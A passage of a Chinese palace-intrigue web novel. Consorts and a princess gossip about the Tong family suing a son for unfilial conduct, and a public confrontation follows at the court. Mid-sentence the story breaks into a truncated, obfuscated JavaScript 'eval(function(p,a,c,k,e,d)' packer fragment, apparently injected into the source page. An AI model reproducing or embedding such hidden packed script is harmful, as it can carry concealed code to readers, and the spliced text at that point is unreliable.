“皇后的慈母心肠总没错的,本宫更怜惜两个年幼的孩子,明年他们就要没有母亲了,相比起来,椒房殿那点算计微不足道。”令愔夫人当然看得懂郭皇后故意推她往前冲锋但她是真心相帮也就无所谓计较了。胡姑姑担忧:“可娘娘,若是真触怒陛下——” “人当有所为有所不为,你们不必再劝我了。”令愔夫人打断道:“本宫知道后果,但若要我只一味谄媚陛下而枉顾本心良知,这样得来的恩宠,我宁可不要。” 胡姑姑还想用两位小殿下请娘娘慎重三思时殿外禀告:建威侯夫人来了。胡姑姑立时眉眼间溢满嫌恶,这位郭皇后的母亲真是要天天往宫里跑了也真不嫌这副嘴脸难看。 钟萃宫的管事姑姑和大宫女们差不多都嫌恶,可她家娘娘怜悯人家,她们拦不住,只能忍着不耐烦任由这位建威侯夫人又来装卖惨实则要推着钟萃宫给他们出头。 建威侯夫人问清楚翁美人她们的来意以及拒绝相帮,她面上苦涩着褒扬令愔夫人大义、不惜溢美之词地给戴高帽,心中冷笑这群趋炎附势的嫔御尤其是翁美人连将出生的皇嗣都要被夺走了居然也能给霍家做狗腿子,好在她没期望她们,捏着令愔夫人也够了。 令愔夫人好言安慰着,最后以明日会再向陛下相求稳住皇后的母亲,又偕同走趟椒房殿,向皇后呈报霍贵妃拟定的采选章程再应下任用赖嬷嬷负责明日秀女初选的择选。 秀女初选是观察秀女的面相手相以及体态举止,端详后决断留是不留,循例向来是由皇宫中的管事嬷嬷或总管太监负责。霍贵妃没有指定由谁负责初选,令愔夫人原想请示陛下问御前蒋总管可有闲暇,但皇后既指派下来了,她自是应承,没觉有何不妥。 郭皇后同样不觉得她只给她的奶娘赖嬷嬷拿个负责秀女初选有何不妥,她原本没想在采选的前两轮费心思,是赖嬷嬷自荐帮她把关初选和复选,她顺口答应了。但既然霍贵妃要让令愔夫人管复选的抉择,犯不着为这点事起冲突,她才只要个初选的负责人。 她哪想到她的奶娘赖嬷嬷会在心里埋怨她,初选这么鸡肋的有什么用。复选如何筛选、在殿选时给娘娘们看哪些秀女的学问可大了,相应的,这当中能捞许多油水。赖嬷嬷自荐要把关初选和复选自是盯着想捞油水,哪想皇后就扔给她个初选,能不叫她怨嘛。 戚太妃也在怨,怨她女儿乐邑长公主连给亲娘孝敬点银两都不情不愿抠抠搜搜。她被迫大出血白白给出那么多银两,显国公府挥金如土的,乐邑竟非但不肯给她把银两补上还只给她补五千两银票,还连五千两银票都要分两天给,装穷都装到亲娘面前来了。 对此,乐邑长公主嬴纤若清醒着呢,绝不含糊动摇。逃离生母的埋怨,她来到长春宫,给嫡母霍太后请过安就撤,去往霍贵妃住的僻静小院找童年的同窗兼玩伴唠唠嗑。 霍灵渠见到乐邑还讶异她今日又进宫来,连着两日进宫,戚太妃是有不好吗? “我答应给母妃补五千两,昨天只给了二千两,今儿把剩下的三千两银票给她送来。”乐邑甩甩手绢在罗汉床的另一侧坐下,霍灵渠靠在罗汉床里在庭前晒太阳呢。 宫娥们给长公主奉上茶点后,霍灵渠遣退众宫人,肯定猜:“你和戚太妃有隔阂呀?” “没隔阂,能有什么隔阂,还不就是为钱财那点事。”乐邑长公主气闷道:“我不是不想孝敬生母,但我母妃那人,我给得越多,她只会索要得更多,我哪儿供得起? 每年单银两我就孝敬给她一万两,还有珠宝首饰,我怎么算都够她在宫里过得滋润了,偏她还总是要跟我抱怨嫌少,还要盯着显国公府的钱财,真是越老越昏了。” 霍灵渠低低叹息,乐邑长公主喝两口香茗,捏块糕点吃,边吃糕点边凑近打听:“哎,听说令愔夫人在帮皇后的妹妹们向皇兄求一二品高位的嫔妃品阶,真的假的?” “真的,今早她还请翁美人她们同她一起向陛下恳求。”霍灵渠确实,乐邑长公主奇怪:“她这到底是要给自己博名声还是想给自己树敌呀?我从没怀疑过令愔夫人是个聪明人,但这事真有点看不懂了,明晃晃地把自己推到你霍家的对立面,她还能坐收渔利吗?” “我是觉着郭皇后和建威侯府做事真颠三倒四。”霍灵渠摇摇头都提不起劲儿来讽刺,乐邑长公主赞同地吐槽:“可不嘛,一个从一品妃位两个从二品妃位,真够敢想的,而且是真的不长脑,皇后都要辞位了,就算把淑德贤三妃的位置都给他家又能抵什么用? 你霍家不乐意,又还不是皇兄的意愿,皇兄还能管这三人的死活吗,这三个秀女进宫来就病逝还不就是霍太后一句话的事,真想撕破脸,你霍家还能客气吗?” “皇后和建威侯府应该是想不到他们送进宫来的小姑娘还能有暴毙这种事儿。”霍舒窈走近前来抢答,乐邑长公主瞟瞟她:“这都快晌午了,你进宫来蹭午膳啊你。” “我来告诉贵妃堂妹宫外最新的热闹,英王妃今儿个又去大理寺状告亲儿不孝了。” “什么?”霍灵渠和乐邑长公主被惊诧得异口同声,霍舒窈摆摆手,扶腰道:“霍蓁蓁和她外祖家的表姐盯着想拿淑妃位德妃位嘛,英王妃还没给答复,他们急啊。” 宫人们搬来黄花梨靠背椅和小圆桌,奉上热茶糕点水果后自觉退下,霍舒窈扶腰落坐,无语凝噎道:“今早辰时不到,我那位娘家二婶带着霍振羽兄妹赶往英王府要准信。 可前天,英王妃装病威胁晏霁之惹得英王让她真病了还把她从佟家带来的奴婢杖刑且让这群奴婢自己负担花销,这两天英王妃院里鸡犬不宁,被他们撞见可不就炸了,佟老太太和佟梦奭夫妇还有顺郡王妃全被叫到英王府去了,他们又让霍振羽去找晏霁之。 霍振羽赶到工部没找到人,晏霁之是在太微宫,他就又追到太微宫但没被太上皇传召,他只好悻悻地回英王府。佟梦奭憋着劲儿要报复晏霁之嘛,霍振羽没能把人带回来,他就又趁机蛊惑,还有那群被杖刑的奴婢哭丧似的怂恿,英王妃哪儿绷得住? 隅中时那些姓佟的和霍振羽兄妹就护着英王妃带着那群奴婢浩浩荡荡地冲出英王府去大理寺衙门告状,那群奴婢全充当证人,这会儿都不知已经给晏霁之泼多少脏水了。” 霍灵渠眼眸微闪,这种情况,晏炼和晏诺都没拦阻就是英王和晏霁之故意放行了。 “距离英王妃上回闹事还不到两个月呢。”乐邑长公主嫌恶:“跟她比,我都算我母妃的心肝宝贝了;还有那个佟梦奭,他嫌自己活腻了还是他佟家都活得不耐烦了?” “还有更搞笑的。”霍舒窈瞧着这丑恶吃相比霍鸳娇都快不如了:“大理寺卿劝英王妃,和亲骨肉之间什么事都好商量让她回府不要再闹了,他们不肯,非得要状告晏霁之。 大理寺卿就表示必须等英王和晏霁之还有佟尚书全都到公堂上再审理,他们片面之词,谁知究竟是孩儿不孝还是亲娘不慈恶意诬告,奴婢们被杖刑后怀恨在心构陷主家,佟老太和佟梦奭他们居然就指桑骂槐暗讽大理寺卿徇私舞弊私相授受包庇晏霁之。 衙门外还有百姓围拢来看热闹,他们指派那群奴婢向聚拢过去的路人宣扬晏霁之不孝,那群奴婢简直像疯狗似的见到谁就抓着谁一通牛头不对马嘴地乱喷,有百姓指出他们行事没章法像不怀好意,佟梦奭他们竟然也能跟人家对骂起来,真不嫌这副嘴脸难看。” 霍舒窈受不了地端起茶盏喝茶,乐邑反笑道:“皇后和建威侯府够不长脑子了,没想到佟家更甚,以前看佟家还算圆滑识趣的,得意几年居然就找不着北了。” “或许是佟老太太和佟梦奭一两年来构想得太妙,心态回落不下来了。”霍灵渠忖度:“佟家目前盯着想让佟妙兮做淑妃,此前他们是想拿贵妃位,不论是贵妃位还是淑妃,他们最终目标是想争后位、争储位,想佟家将来跃升当朝第一豪族。 佟老太太沉浸在她的幻想里应该是还不愿意清醒吧,只想她应该最风光应该是要风得风要雨得雨,当前她大概是还不愿意被违背,只想凡事都按照她的意志吧。” “还真是得意过两年就完全不知自己是几斤几两了。”乐邑长公主忽然想到什么,眼神滴溜溜在这两个姓霍的身上转圈,似笑非笑恭维:“从老穆国公被重用算起,你们霍家得意该有三四十年了吧,出位霍太后才得意忘形,霍家还是很稳得住的哟。” 霍舒窈懒得搭理她的阴阳怪气,霍灵渠温婉笑好像真被赞颂般感慨:“最稳的是晏家,肃宗皇帝在位时将朝堂和国事都托付给霁之的曾祖父,当时的晏家权倾朝野。 难得的是肃宗皇帝始终信任晏家而晏家也没有辜负肃宗的信赖,我祖父说,他们其实是场君臣佳话;霁之感慨,这或许是晏家做近二十年权臣家族还有好下场的根源。” 一拳打在棉花上,乐邑长公主郁闷:“大理寺这会儿应该还没审完吧?” “大理寺应该还没有接状纸。”霍灵渠说:“霁之和英王都不会出面的,这场闹剧的结果只会是佟家人落荒而逃或者佟尚书出面把他们带走。亲娘状告亲儿不孝何尝不是把双刃剑,该是多恶毒的亲娘才会非要把亲骨肉毁掉,英王妃今日只会告到她一败涂地。” “你对你的揣测有多少把握?”乐邑挑眉打量她,霍灵渠答:“十足的把握。” 女人的敏感瞬间爆棚,乐邑和霍舒窈就都感觉她在炫耀,各自的好胜心就让她们不爽,乐邑长公主提醒:“话说太满可不好,十足的把握,你若是没猜对怎么办?” “我给你们两锭金元宝。”霍灵渠爽利极了,霍舒窈真想怼她:你有种怎么不说两箱。乐邑同样嫌她小气巴拉,两锭金元宝,亏她也好意思,谁稀罕你的两锭金元宝。 “两锭太少了吧,霍家多财大气粗啊你霍贵妃居然就拿两锭金元宝做赌,传扬开来,你霍贵妃和霍家都要没脸的,至少该赌两匣金元宝。”乐邑假模假样还价,霍灵渠不以为然:“不少了,我祖父跟人赌都是赌一个铜板,我又没给你俩铜板,我有什么好没脸的。” 霍舒窈默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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太微宫送信来,皇帝嬴忱璧去往太微宫和太上皇专门谈谈佟家,谈完,他特意微服出门找魏王聊聊魏王府的隐患,原想带着晏霁之,晏霁之没心情就算了。他和魏王聊好,来瞧瞧大理寺前的闹剧,他都准备好贵妃会溜出宫来还想和贵妃来个偶遇呢,唉,算了。 皇帝遂指派步昂去打探这场闹剧,他和魏王刚到,还不清楚佟家到底闹成什么样了。 “唉,真是咱小老百姓都要嫌这群佟家人像泼妇骂街都没点样子的。”步统领请几位围观过全程的看客过来解说,率先发言的老乡热心诉道:“最早有人劝和,亲娘和亲儿子嘛能有啥事过不去;还有人怀疑英王妃恶毒,她没存坏心眼哪能想把亲骨肉毁掉啊。 大家伙有想法就说嘛很正常,他们都到衙门来告状了还不兴让人说啊,结果好咧,他们活像跟咱乡亲有仇似的逮着人就乱骂,那谁还跟他们客气啊,那时候吵得甭提有多难看了,是顺郡王世子过来宣告他这继母进门第六年才怀胎就是他故意阻拦才给打断了。” “对对对,这顺郡王世子说他是为防着继母蛊惑他爹要把郡王府搬空填给佟家,问继母要不要也告他不孝啊?”旁边的看客踊跃接话:“佟家人那闹得可凶了,谁怵他们,顺郡王世子说了他不怕把秘密抖出来,这么多年,他爹早看清佟家内里有多腌臜龌蹉。 平常人家嫁女儿是结姻亲之好,佟家嫁女儿可是盯着要把姻亲吸干把姻亲当做踏脚石。顺郡王世子还说他不用猜都晓得这伙佟家人在闹啥,异想天开想捧个佟娘娘出来呗。 陛下没册封贵妃前,佟家人蛊惑着想让霍家推佟二姑娘做贵妃,霍家没上当,他们又盯着想拿淑妃位,要逼着英王世子把表妹推上位。今天会闹到衙门来肯定是英王世子没理会,这群佟家人要往死里逼迫,佟家可不兴疼爱外孙们,只看对佟家有没有用。” “可不嘛,咱乡亲可算长见识了。”一直没发言机会的大娘心痒难耐地抢着缝隙加入:“谁家不是教嫁出门的姑娘要侍奉公婆体贴相公疼爱儿女,佟家可不是,佟家教什么呀,教嫁出门的姑奶奶照旧是佟家人不是夫家人,要对佟家死心塌地。 她们嫁人后拿夫家的好处给佟家就是天经地义,她们生的儿女就该为佟家活着,要不然就不配活着。当然啦,佟家也从来不教姑奶奶们要疼爱亲生骨肉,只教她们生的娃儿必须顺从亲娘不能有任何违背,要不然就是不孝,必须要狠狠管教管到娃儿听话为止。 哎呦,我的天神老爷佛祖菩萨,摊到这种姻亲真是比茅坑里的臭虫还恶心一百倍。” 乐邑长公主对最后的比喻拿丝绢掩鼻,霍舒窈轻咳道:“佟家就被震住了?” “没呢,哪有那么容易,那佟老太太仗着自己年纪大特老不要脸,带着她生的这群儿女跟人顺郡王世子夫妇都要吵翻天了,但这世子夫妇脸皮薄啊哪吵得过佟家,得亏得霍家那霍雄鹰带护卫赶过来帮着对骂抗住佟老太母女,要不然咱大伙看得都想帮忙了。 再没多久,英王府的四少爷带着群护卫和奴婢来了,说佟老太的娘家侄儿钟员外郎和佟大太太的娘舅贺御史中丞刚都被下狱了,这佟大太太还被她舅母赶过来扇巴掌了。” 第一位解说的大叔嘲笑,霍舒窈可想捂脸,霍雄鹰吃饱撑得是吧还跑来凑这种热闹。 “扇巴掌?”乐邑长公主质疑:“在大理寺衙门前,众目睽睽,大家都看着吗?” “是啊。”看客大娘幸灾乐祸:“佟家人前脚来衙门告状,佟家的亲戚后脚就被下狱了,谁看不懂?而且这晏四少爷都明明白白说了:晏家虽然没有本事能捧佟二姑娘做淑妃,但绝对有本事能让佟妙兮在明日的秀女初选就被刷下来,佟氏想告他二哥不孝尽管告。 姓佟的今日把状纸递上,明天,佟家和与佟家交好的亲朋好友有多少算多少都祈祷自家能经得起彻查吧,不然被晏家查出他们违法乱纪就等着吃牢饭吧,晏家说到做到。 佟家人不肯信啊又吵个没完,可不信有啥用,钟家的太太和贺家太太都亲自过来了。这贺老太太冲着丈夫的外甥女就是两大耳光子,骂佟家想一步登天想得要疯魔了,一年多前蛊惑霍蓁蓁母女闹着霍家抢后位想趁势推佟妙兮做贵妃,做贵妃没戏了又肖想淑妃位,当谁还看不懂佟家那点心思啊,把晏家霍家的宽忍作干净后看佟家能落什么好下场。” “可不就是嘛。”新凑过来的看客附和:“这贺老太太和佟家人吵得别提多凶了,贺家骂佟家成天做白日梦呢就真当自家出位皇后有太子外孙了,要求着晏家还趾高气昂发号施令,英王世子懒得搭理就往死里逼,当你佟家姑奶奶啥稀罕物啊能消得了英王的怒火。 那佟老太太骂贺家啥话难听就骂啥,还说霍振羽和霍蓁蓁还有三个小外孙都和佟家亲,结果你们猜怎么着?”看客乐得都不用周围的人猜,大笑公布:“不知道是哪家权贵少爷喊出来的,说霍振羽还是个没断奶的奶娃子,就只会跟在娘屁股后头跑。” 皇帝看向魏王,魏王哼道:“晋王派人做的。”说的好像不是他的猜测是查到确凿了。 提到这点,这群看客被逗得不行,一位酒楼小二模样的年轻人嘴皮溜道:“对啊,人家少爷讲得可有道理啦,说霍振羽既不求仕途上进又不跟年纪相当的少爷们耍玩,一个月差不多有半个月要跟着娘回佟家,成天就混在姨母外祖母堆里,谁这样? 哪个二十来岁都娶妻当爹的大小伙还只会跟着娘回外祖家,这种男的除了听娘的话还会做什么,这不是没断奶的奶娃是什么?兴献侯就他一个嫡子,他劝动皇太后姑母答应给佟家个妃位还能有这么多事吗,他连这么点事都做不到还能做得了什么?” “还会脸红还会跑!”有粗犷大汉当即乐不可支道:“你们没瞧见,就这么被说几句,这霍振羽脸红得像猴屁股还想闷头跑掉,都是被霍雄鹰派护卫把他硬拦下来的。” 看客们喷笑,霍舒窈深呼吸假装乐道:“嗳,这霍雄鹰没事拦他做什么?”得到个“哦这个啊,霍雄鹰说他二叔兴献侯要亲自过来。”的答案,她才放掉训弟弟的心思。 “嗳嗳还有呢还有呢,晏四少爷还搬出来英王世子对生母的原话。”酒楼小二哥补充道:“英王世子说啊:你送我下狱后,你的佟家能有本事保你在晏家立足吗?让英王晏墉趁早死是个办法,我就祝你好运,害死亲夫还能不被晏家族人抓到证据,你能寿终正寝。” “害死英王?”霍舒窈有点受惊,和乐邑对视眼,她琢磨:“好像还真得是这么回事,要不然佟氏在晏家还怎么过?何况她都能毁掉亲生儿子,还能差个英王吗?” “对啊,咱大家伙猜猜都觉得是这么回事,英王为着他的世子都把最疼爱的庶长子给舍掉了还能放过毁掉他世子的人吗,这群佟家人若是不对付英王可不就是在找死吗?” 最先发言的看客道:“咱们差不多都相信了,佟家还要跟晏四少爷他们吵吵嚷嚷地吵,晏四少爷拿出账本要告佟氏从佟家带来的这群奴婢贪墨主家财物才中断,从授康十三年起,二十年间被这群奴婢贪墨掉晏家一万两银子,一万两啊。 奴婢贪墨掉主人家二十两银子就能判下狱坐牢了,贪墨二百两就判流放了,奴仆贪墨掉五百两银子可够砍头了。这群奴婢敢贪墨一万两银子都够把他们全砍头了,晏四少爷说要么英王妃帮着把银两补上要么送官法办,哎呀又是吵个没完。 这又不是比嗓门大还能嚷出结果来,最后是霍雄鹰说他二叔也会来清算被从佟家来的奴婢贪墨霍家财物的账,大理寺衙门的大老爷亲自劝才总算让佟家人消停了会儿。” “可真不容易。”乐邑长公主讥笑:“佟尚书就任由家眷丢人现眼都不来带走吗?” “佟尚书在吏部衙门和薄尚书议事应该申时前都过不来。”薛述聪发现这公主媳妇还想摆谱训训她成天往外跑,又发现两位大舅哥,顿生郁闷:“五哥,四哥。” “嗯…”魏王神来之笔地问:“妹夫你不会是带着外室在这里看热闹吧?” 皇帝眼神瞟过去,乐邑长公主立时瞪眼睛一副要跟他发火的架势,霍舒窈别过脸憋笑,周围圈看客都忍不住要笑话了,养外室被媳妇和俩大舅哥抓到不活该他倒霉吗? 薛述聪惊了,魏王猜得要不要这么准?乐邑长公主瞧他这德行就知魏王猜对了,火大得冲上前抬腿就踹他踢他,薛述聪悲催地忍住,这媳妇发泄得差不多再哄她不要闹了。 男性看客们瞧着真有点不忍直视,有两位宗亲家少爷瞥见薛驸马这样窝囊还想嘲笑他,又见微服出宫的皇帝在坐镇,憋住笑乖乖作揖请安,这里的动静还引得霍巨浪和晏煦之俩连襟各自带媳妇走来,行礼问安,简要交流下眼前的情形,晏煦之真忍不住讽刺。 “钟家人求佟老太救侄儿求英王妃救表弟,母女俩满口答应浑像是件不值一提的小事,佟梦娴还对表弟妹放话,今夜她就让那孽障把她钟家表弟放出狱官复原职。佟氏暴怒那孽障竟敢害他们这么丢脸,她回府后必会管教到那孽障再不敢违逆她。” 看客们连同薛述聪都不禁唏嘘,霍巨浪捏眉心,晏朗之走近听到最后两句话,冷笑道:“可惜这是第二回,佟尚书没法再向太上皇和陛下禀告,这亲娘只是性情简单冲动易怒,全因被冲撞之故全是那儿子的错,多冲动易怒的亲娘非得把亲骨肉毁掉啊。” 正徽帝嬴忱璧似被触动般看向眼前的芸芸众生,忽想,晏霁之独自登高,无处话凄凉。 102. 第102章 人的性情和认知不同,同件事,同个阵营中的人照样感受悬殊。 府衙前被看客们围得摩肩接踵但自然有给闹事者们留着足够宽敞的空地,大理寺卿劝住佟家人后派衙役搬两把座椅来给佟老太太和似有抱恙的英王妃,还备上了茶水糕点,就她们母女俩有座有茶,老太太使个眼神,英王妃不满地叫多备些座椅和茶点来。 大理寺卿好说话地让衙役准备,霍雄鹰直翻白眼,这德行,霍鸳娇姐妹都比不过。 衙役们再搬五把椅子来给佟梦奭夫妇、佟梦姿和顺郡王妃佟梦如还有霍振羽,佟梦姿和佟梦奭早疲累了,当然坐,顺郡王妃和霍振羽以及佟大太太则都拒绝了。 脸颊肿起的佟大太太懊悔啊,悔得肠子都青了,若是知道晏家竟然这么不顾亲戚情份和英王妃的体面,无论如何她都得拦着,闹成这样让她两个儿子还怎么娶妻?!可她却还不知想想他们是要跟晏家结仇,欲逼死人家还想对方不该反抗,有这种滑稽事吗? 她倒不忧虑女儿,她可不认为她女儿会落选,至多是要从低位嫔御慢慢熬起罢了。 可惜他们七位中唯独顺郡王妃佟梦如苦涩,苦涩猜到佟家今后都不会再有好过了,她恐怕也要被继子夫妇压得抬不起头来,他们这几年得意的日子彻底结束了。她颓丧地瞥过母亲和长兄长姐,这母亲和大哥大姐真可笑啊,到此刻竟还自以为能拿捏晏家。 诚如顺郡王妃的猜想,佟老太太倔强着不肯向现实低头不愿意接受她的美好设想破灭,英王妃佟梦娴暴怒那孽障竟敢如此猖狂害她难以面对娘家人;佟梦奭在恨,恨得面目扭曲简直想把晏家霍家和所有见过他丢脸的好事者全撕碎,恨毒得几乎整个人都要炸裂了。 他虽低着头,对面站着的几位差不多都能察觉到这位散发着的强烈怒火痛恨,大理寺卿老脸维持微笑没任何变化。顺郡王世子讥讽,佟梦奭可真是平庸无能且心量狭隘的典型了,佟尚书摊到这种嫡长子还放纵他,哪怕没与姻亲们交恶,佟家都休想逃过败落。 相对母亲兄姐,佟梦姿的心态就平和得多了,毕竟对她没什么影响,就算晏家不肯相帮可能会害得她女儿不能做娘娘,到底不妨碍她儿女的锦绣前程。霍家势焰熏天,她的蓁蓁还有皇太后姑母根本不愁嫁,今日这事伤不到他们分毫有甚可忧。 然被亲娘认为伤不到他们分毫的闹事委实大大伤到霍振羽的自尊了,霍振羽屈辱难堪,二十年都没像今日这般屈辱难堪过,他脑浑噩脸发烫,他想很多,甚至生出恨意,恨霍雄鹰非得拦着不让他们走让他们像笑话似的任人指摘,乃至恨到晏霁之。 他就应承下来有何难,他是对母亲连这点孝心都没有还是就见不得他们好啊?! 佟老太太吃饱喝足再要离开,又被拦住,和霍雄鹰又快吵起来时,霍漓江总算到了。 霍漓江是带着大批人招摇过市而来,还有京兆尹率官差陪同,看客们见状让出通道。佟梦姿下意识站起来,佟老太太真嫌女儿不争气地斥责她坐下,佟梦姿转念想,她就坐下吧,她和儿女们就看看霍漓江是否真要偏向霍雄鹰连妻儿都不想要了?! 霍雄鹰和顺郡王世子夫妇还有晏琼勋忙迎上前问候,大理寺卿笑着和两位同僚见礼。 随佟家表哥表姐隐在人群中的霍蓁蓁看这幕很不是滋味地扯丝帕,霍雄鹰跟她娘和哥哥吵得那么凶,他们和佟家都嘲弄霍雄鹰在胡说八道扯谎瞎编,他只是个侄儿,霍漓江怎么可能不顾自己的妻儿亲骨肉反偏向他,哪想这会儿这爹居然真和霍雄鹰亲亲热热的。 霍振羽忍不住眼眶红了,站在母亲身后就不动,像是犯倔要较劲,他就想看他爹能先来向他们示好。然而示好还没见到,霍振羽和佟家人就先看到了那群被绑着的奴婢。 佟梦姿和佟老太太他们还没发作,霍漓江带来的那群护卫直直向他们冲过来抓起今早跟他们出府的奴婢就绑,霍振羽眼睁睁看这幕发生,惊得难以置信:“爹?!” 英王妃佟梦娴差点被这些护卫吓到,错愕之余想这二妹真不中用。护卫们抓到人就撤,没有被绑的即不属于佟梦姿从佟家带进霍家的那些奴婢默默跟着返回霍家的阵营。 佟梦姿要制止被她母亲挡在前,佟老太太勃然站起险把她坐的椅子掀翻,火冒三丈道:“反了,简直反了,霍漓江你还不快把他们放开,你眼里还有我这个岳母吗?” “要不,我现在把你二女儿佟梦姿休掉,你再递张状纸告前女婿不孝?” 现场霎时犹如豁然轻快般爆发出成片捧腹大笑,霍振羽陡然间倍觉窝囊,佟梦姿冷笑,佟老太太被激得捧着心口弯腰急喘,她身边的嬷嬷忙给老夫人拍背顺气。佟梦奭愤恨得满脸想将之抽筋扒皮的狰狞,可饶是如此痛恨,他也没想出面和霍漓江硬刚。 英王妃佟梦娴倒想出头,但霍漓江对她这大姨姐从来没恭敬过,她怎么出头?顺郡王妃和佟大太太更不用想,观众看嚣张的佟家人竟就这样被压制住了,更乐了。 霍漓江冲侄儿摆摆手,霍雄鹰带俩护卫冲进人群揪出隐藏着的霍蓁蓁。霍蓁蓁傻眼了,被拽着走都没反应过来,她在人群里藏好好的,霍雄鹰怎么找到她的?啊……不是,意识到她在被围观,霍蓁蓁忙想把自己藏起来,佟家这样狼狈,她的脸也被丢光了。 佟妙兮的处境更甚,霍雄鹰冲过来把霍蓁蓁拽走相当于把她也曝露了,她脸火辣辣烫,觉得所有人都在对她指指点点。佟卓伦闭闭眼压住苦味,让二弟护着妹妹先回家去。 刚被拽出人群,霍蓁蓁猛地被刺耳又熟悉的尖叫惊吓了跳,她下意识转头,就看见两个大丫鬟只剩祖母给她的婢女还站着,她奶娘的女儿被护卫绑成麻花了。 她数十步外,佟梦姿数着,她从佟家带进霍家的奴婢全都被绑起来了,一个都没落下,连管田庄的陪嫁和奴婢生的孩儿都没落下,连已经给振羽做妾的丫鬟都被绑来了。 “你在做什么,你还真相信霍雄鹰指的我的奴婢们贪墨吗?”佟梦姿怒道:“难道你都看不出这是大房的阴谋吗,大房想把我的心腹拔起好削弱我们在霍家的势力!” 对于这点,霍雄鹰都懒得再跟他们吵了。好些看客讥笑这位兴献侯夫人,霍漓江难道还能不如她,既然霍漓江都亲自出面要处置这群奴婢,她还跟丈夫对着干能落什么好? 霍振羽疾跑冲去要给奴婢们松绑,未料护卫竟敢阻挡他,他咬咬牙出手把护卫甩开,哪想这群护卫居然敢跟他动手?!霍振羽简直不敢信,转头冲他爹吼:“爹?!” 佟梦姿要帮衬反被佟老太太拉住,顺郡王妃佟梦如看着直想讽刺,这俩姐姐真是都眼瞎的还看不出来父母兄嫂都巴不得外孙们跟自家交恶才好。多数看客是看霍振羽真可笑,他爹刚抓人绑起来,他就要拆亲爹的台,还怨护卫阻拦他,这脑子真没生锈吗? 霍漓江随意道:“从授康十五年起,十八年,霍家被这群奴婢贪墨掉八千两银子。” 佟梦娴带到晏家的奴婢早都已经在幻想将来帮着接管英王府了,佟梦姿带到霍家的奴婢又何曾待遇差过,谁受得了这种突变,此刻被五花大绑扔在地上就全在拼命挣扎。 长随让小厮们把带来的大摞账本摆出来,其实这类事不归大理寺管归京兆府衙管,但既然在大理寺衙门前闹的事,就当来给大家伙看个整场,这不,侯爷都请京兆尹同来了。 “霍漓江?!”刚被忽略的佟梦姿还没再争,被亲爹当众无视的霍振羽屈辱地攥紧拳头憋红脸还没再吼,佟老太太咬牙切齿骂:“十八二十年前就在防备,你们霍家晏家好啊,这姻亲真不想做了是吧,即刻就把人给我放了,要不然老娘让你妻离子散!” 顺郡王妃闻言都想嫌受不了这亲娘,观众们莫名安静下后爆出乐不可支的嘲笑。明晃晃嘲笑佟家,佟梦奭恨得眼睛像渗毒,霍振羽浑似是他在被嘲笑般地咬紧牙关。 霍漓江懒得搭理这种货色,佟老太太被这片嘲笑气得够呛,怒不可遏道:“梦姿,你现在就带振羽和蓁蓁回佟家,霍漓江若是不三跪九叩来求你们回霍家,你就不准回去。” 瞬间诡异弥漫,霍蓁蓁不可思议,佟梦姿终于觉察出她娘在给她帮倒忙,这种话说出来不摆明要逼她对丈夫退让吗?佟梦奭都被老娘搞得烦躁不已,三跪九叩,他娘啊,这娘说话能不能过过脑,霍漓江又不是晏家能那么好拿捏,怎么会忍得了? 哪怕是英王妃佟梦娴都清楚她娘这威胁没用的,她要不要提醒老娘,踌躇着看向小妹。顺郡王妃压根儿不想理会,丢人就丢人吧,她都想嘲讽她娘做白日梦做得疯魔了。 众位看客倒是没有再成群嘲笑,瞧着受不了都懒得嘲笑了。晋王翻白眼,一个错眼间好像看见他父皇的身影,他愣下想自己在想什么呢,不慎看错眼还脑子都糊涂了么。 其实晋王没有看错,真是微服出宫的太上皇挤进看客群中,谷王夫妇、穆国公霍秦川、晏霁之和顾统领率十名神策军陪同而来,寻至皇帝和魏王他们的位置把他们全给惊讶了下,正徽帝嬴忱璧忙率众请安被太上皇摆摆手拦住了,嬴忱璧再看向晏霁之。 “谷王夫妇和霍四奶奶到太微宫苦求。”晏霁之走近皇帝和魏王他们,低语道:“霍家通知谷王,霍家会和佟家断亲,猜霍振羽会阻拦,今日会如何收场,霍家也没底。 霍家请谷王做好准备,谷王想斡旋,霍家请他去太微宫。圣人经不住谷王夫妇和侄女苦求便亲自过来看看,霍四奶奶已经抱着刚满周岁的孩子去皇宫请霍贵妃了。” 场中央,佟老太太心急催促,好像慢刻就会令她崩塌:“梦姿你还愣着做什么?” “娘,你不要再闹了,”佟梦姿无奈,老太太打断训斥:“你个逆女说什么浑话,你现在就给老娘带着振羽和蓁蓁回佟家,若不然你就别认我这个娘。” 到这刻,佟梦奭不得不出面劝老母,但被霍漓江抢前了:“别啊老太太,断掉母女关系你还怎么状告这二女儿不孝?”惹得看客们大笑,佟梦姿头疼:“漓江?!” “反了,反了!”佟老太太指着二女婿,气得浑身都在颤:“老娘看你是要反了天了!” “佟梦奭你要不问问你老娘是把自己当皇帝还是把自己当太上皇?”霍漓江乐呵:“皇后的亲娘和皇太后的亲娘都没她这么大谱儿,动不动就骂人要反了,传到圣人和陛下耳中令两位至尊疑心你家,你和你姑娘佟妙兮还能做皇后梦吗?” 观众们包括晋王推论下惊觉霍漓江的危言耸听合情理啊,晋王被佟家给气笑了。佟梦奭想驳斥偏偏心底恐慌冒冷气,顾不得其他,他急忙起身按住老太太劝母亲消停。 佟大太太细想想婆母的脾气是大过头了,人言可畏啊,忙帮着丈夫规劝,英王妃佟梦娴只得相助;顺郡王妃瞧着兄嫂竟然都不辩驳做皇后梦,不想理会都被气笑了。 皇后梦,佟家想做皇后梦是什么意思呀,不就是想把她和霍家当踏脚石。霍蓁蓁咬唇,这种话听多了她还算平静,只是还是不由自主地伤怀。霍振羽狠狠憋住眼底的酸涩,佟梦姿只能想是兄嫂没顾上,整好心绪,刚要再争取就被那群奴婢的撕叫打断了。 “姑娘,姑娘——”钟妈妈费尽艰辛撇掉绑着嘴巴的布条喊得撕心裂肺,拼命挣扎着扭向她奶大的霍蓁蓁求救,霍振羽的小妾亦是他奶娘的女儿花珀姨娘在她娘的帮助下也挣脱掉布条,哭得肝肠寸断:“四爷,四爷救命,奴婢有身孕了,奴婢真的有身孕了……” 佟梦姿愣下真想堵住她的嘴,这蠢货竟敢偷摸怀孕还自己曝出来不是非逼着她退让吗?人群中的谷王妃神情微变,以扈妈妈为首的佟梦娴带进英王府的奴婢们瞧着被绑的这伙扭曲翻滚哭天抢地的丑相都要嫌看不上眼了,虽然大家都是从佟家出去的。 